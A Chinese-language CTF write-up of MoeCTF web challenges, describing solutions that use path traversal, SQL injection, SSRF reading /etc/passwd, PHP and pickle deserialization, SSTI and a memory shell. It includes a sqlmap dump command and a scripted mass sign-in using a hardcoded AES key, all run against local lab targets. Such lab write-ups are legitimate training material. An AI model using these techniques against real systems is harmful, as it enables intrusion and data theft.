分享一些Moectf web方面的wp。(以后应该不会更新新生赛的文章了
MoeCTF-WEB week-one Web渗透测试与审计入门指北
直接起个web服务,把两个文件放一个目录就行。
弗拉格之地的入口 题目提到了爬虫,直接上robots.txt了。的确是这样的。
robots.txt->webtutorEntry.php
ez_http 背八股文了。
ProveYourLove 打开题目是个表白墙。并且题目描述中有提到都七夕了,怎么还是单身狗丫?快拿起勇气向你 **crush** 表白叭,300份才能证明你的爱!
但是交第二份时出现
看了一下,是js禁止的,那不管了。直接BP抓包,爆破发300个包就好了
弗拉格之地的挑战
响应报文中找到第三步。
又是八股
但是这样进去会出错
改Referer:http://localhost:8080/flag3cad.php?a=1
是一个小游戏。
直接看源代码里的js。自己发个请求
直接post一下
一段php
大小写绕过
直接给了个马,连就完了。
集齐七龙珠,召唤龙神(bushi
pop moe php反序列化
很简单的POP链
invoke->set->dangerous->evvval
。让class002的$sec为class003类,调用eval,并且由于class003里的__tostring,这样eval接受的参数就是mystr的值。
环境变量里面找到flag
week-two 垫刀之路01: MoeCTF?启动! 直接rce,在env里发现flag
垫刀之路02: 普通的文件上传 文件上传,无过滤,也是env里找到flag
垫刀之路03: 这是一个图床 传马的话似乎有过滤,但是在phpinfo里发现flag
垫刀之路04: 一个文件浏览器 给了一个src参数来读取文件,目录穿越一下成功读取。
但是直接读flag没读到。
在tmp目录找到flag
垫刀之路05: 登陆网站 直接一个单引号闭合,没什么好讲的。
垫刀之路06: pop base mini moe 更简单,更适合新手的反序列化
pop链很短,没什么好讲的。要注意的是属性全是私有的,利用__construct()方法赋值。
EXP1:
或者把属性改成public,大部分情况都可以。
exp2:
垫刀之路07: 泄漏的密码 pin码给了,上控制台执行代码就好了。
/console
ImageCloud前置 ssrf
直接传file:///etc/passwd就好了
ImageCloud 两个题目都给了源码
题目给了两个app.py,看描述像是一个内部的,一个外部的。app.py的url参数可控,那么思路很明确了,利用app.py的url参数来使用app2.py中的这个路由读取文件。
但是app2.py的端口不确定,BP爆破一下拿到app2.py启动的端口5374。
payload
flag:moectf{c3TtEBrAte-Y0u_@TTACK-to-MY_Tm4g3-CToudHHhhhh80}
静态网页 一个静态网页,扫目录发现flag.php,但是访问没内容。抓包看看发现这个接口有响应
php性质
a不能是数字,又要==0,利用性质,0后面接字母,is_numeric会返回false,false==0
电院_Backend 直接给了登录的处理逻辑。
扫目录发现登录的url
sql注入,有个验证码防止爆破密码(我猜
用一个\转义引号,这样sql语句就变成了
sql语句中||1
是一个永真条件,成功登录。
勇闯铜人阵 考验python能力。
拷打一下GPT,再自己微调就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import requestsfrom bs4 import BeautifulSoupsession = requests.Session() base_url = "http://127.0.0.1:17738/" cookies = {"PHPSESSID" : "104827020f4aa5b5514cae8a5ec87d9c" } def start_game (): data = {"player" : "d" , "direct" : "弟子明白" } response = session.post(base_url, cookies=cookies, data=data) return response def parse_directions (html_content ): soup = BeautifulSoup(html_content, 'html.parser' ) status_text = soup.find('h1' , id ='status' ).text.strip() if ',' in status_text: directions = [int (num.strip()) for num in status_text.split(',' )] else : directions = [int (status_text)] print (directions) return directions def answer_game (directions ): direction_map = { 1 : '北方' , 2 : '东北方' , 3 : '东方' , 4 : '东南方' , 5 : '南方' , 6 : '西南方' , 7 : '西方' , 8 : '西北方' } answers = [direction_map.get(num, '' ) for num in directions] if len (answers) == 1 : answer_text = answers[0 ] else : answer_text = ',' .join(f"{ans} 一个" for ans in answers) print (answer_text) data = {"player" : "d" , "direct" : answer_text} response = session.post(base_url, cookies=cookies, data=data) print (response.text) return response if __name__ == '__main__' : start_response = start_game() directions = parse_directions(start_response.text) for i in range (5 ): answer_response = answer_game(directions) directions =parse_directions(answer_response.text)
Re: 从零开始的 XDU 教书生活 先手动完成一个签到,看看数据包是怎么传输的。
手动跟一边后逻辑大概明白了
登录拿到cookie,签到的实质是就是带着cookie时向接口发送请求
/widget/sign/e?id=4000000000000&c=3302524747117&enc=E63DE6382FCC5C0094F921E973B3682A&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id
c和enc分别是利用刷新接口 得到的signCode和enc
再看登录的情况,登录的账号密码很容易拿到,就不讲了。但是前端会对账号密码进行加密,看看前端内容。
在这个/static/login.js
文件里面找到加密逻辑
让gpt写个加密
所以总的就是利用request库里的session来存储cookie,再签到。
uname.txt里面是账号,用换行分隔。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport base64import requestsdef encrypt_by_aes (message, key ): key = key.encode('utf-8' ) iv = key[:16 ] cipher = AES.new(key, AES.MODE_CBC, iv) padded_message = pad(message.encode('utf-8' ), AES.block_size) encrypted_bytes = cipher.encrypt(padded_message) encrypted_base64 = base64.b64encode(encrypted_bytes).decode('utf-8' ) return encrypted_base64 login_url = "http://127.0.0.1:51996/fanyalogin" burp0_headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate, br" , "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : "http://127.0.0.1:52511" , "Connection" : "close" , "Referer" : "http://127.0.0.1:52511/login" , "Sec-Fetch-Dest" : "empty" , "Sec-Fetch-Mode" : "cors" , "Sec-Fetch-Site" : "same-origin" } check_url = "http://127.0.0.1:51996/widget/sign/e?id=4000000000000&c=3130242987746&enc=70ED0249489D4699078AED6EF38BF5DC&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id" while True : with open ('uname.txt' , "r" ) as f: for line in f: s = line.strip() key = "u2oh6Vu^HWe4_AES" message = s encrypted_message = encrypt_by_aes(message, key) print (message) print (encrypted_message) r=requests.session() burp0_data={"fid" : "-1" , "uname" : encrypted_message, "password" : encrypted_message, "refer" : "https%3A%2F%2Fi.chaoxing.com" , "t" : "true" , "forbidotherlogin" : "0" , "validate" : '' , "doubleFactorLogin" : "0" , "independentId" : "0" , "independentNameId" : "0" } login=r.post(login_url, headers=burp0_headers, data=burp0_data) print (login.text) check=r.get(check_url, headers=burp0_headers) print (check.text)
等待一会,看到签到成功次数超过1024就可以了
week-three who’s blog?
这里说到了id,那传一个参数看看。发现id变了,那估计是ssti了。
的确是的。
没有过滤,直接梭了。
PetStore Pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from flask import Flask, request, jsonify, render_template, redirectimport pickleimport base64import uuidapp = Flask(__name__) class Pet : def __init__ (self, name, species ) -> None : self.name = name self.species = species self.uuid = uuid.uuid4() def __repr__ (self ) -> str : return f"Pet(name={self.name} , species={self.species} , uuid={self.uuid} )" class PetStore : def __init__ (self ) -> None : self.pets = [] def create_pet (self, name, species ) -> None : pet = Pet(name, species) self.pets.append(pet) def get_pet (self, pet_uuid ) -> Pet | None : for pet in self.pets: if str (pet.uuid) == pet_uuid: return pet return None def export_pet (self, pet_uuid ) -> str | None : pet = self.get_pet(pet_uuid) if pet is not None : self.pets.remove(pet) serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8" ) return serialized_pet return None def import_pet (self, serialized_pet ) -> bool : try : pet_data = base64.b64decode(serialized_pet) pet = pickle.loads(pet_data) if isinstance (pet, Pet): for i in self.pets: if i.uuid == pet.uuid: return False self.pets.append(pet) return True return False except Exception: return False store = PetStore() @app.route("/" , methods=["GET" ] ) def index (): pets = store.pets return render_template("index.html" , pets=pets) @app.route("/create" , methods=["POST" ] ) def create_pet (): name = request.form["name" ] species = request.form["species" ] store.create_pet(name, species) return redirect("/" ) @app.route("/get" , methods=["POST" ] ) def get_pet (): pet_uuid = request.form["uuid" ] pet = store.get_pet(pet_uuid) if pet is not None : return jsonify({"name" : pet.name, "species" : pet.species, "uuid" : pet.uuid}) else : return jsonify({"error" : "Pet not found" }) @app.route("/export" , methods=["POST" ] ) def export_pet (): pet_uuid = request.form["uuid" ] serialized_pet = store.export_pet(pet_uuid) if serialized_pet is not None : return jsonify({"serialized_pet" : serialized_pet}) else : return jsonify({"error" : "Pet not found" }) @app.route("/import" , methods=["POST" ] ) def import_pet (): serialized_pet = request.form["serialized_pet" ] if store.import_pet(serialized_pet): return redirect("/" ) else : return jsonify({"error" : "Failed to import pet" }) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8888 , debug=False , threaded=True )
题目给了docker,python版本是3.12.
这里store.import_pet方法里面
会触发pickle反序列化漏洞,注意到在import路由这里调用了该方法。题目不出网,那就是打内存马了。python版本是3.12,应该用新版本的内存马。
用了gxngxngxn师傅写的内存马
smbms java呜呜。
爆破拿到密码1234567。(后面忘了有这个比赛。。。这题就没看了
后面随便搜了个wp看了下,是个sql注入。。。难崩。。。以为这个hint是让我不要尝试sql注入呢。审了这么久的源码
应该是这里有问题src\main\java\top\sxrhhh\dao\user\UserDaoImpl.java
http请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 GET /jsp/user.do?method=query&queryName=12&queryUserRole=0&pageIndex=1 HTTP/1.1 Host : 127.0.0.1:29511User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brConnection : closeCookie : JSESSIONID=5F68B43A743D0D50FBF331191D931C79Upgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : noneSec-Fetch-User : ?1
时间盲注,可能有点慢。
python sqlmap.py -r D:\1.txt -D smbms2 -T flag –batch –dump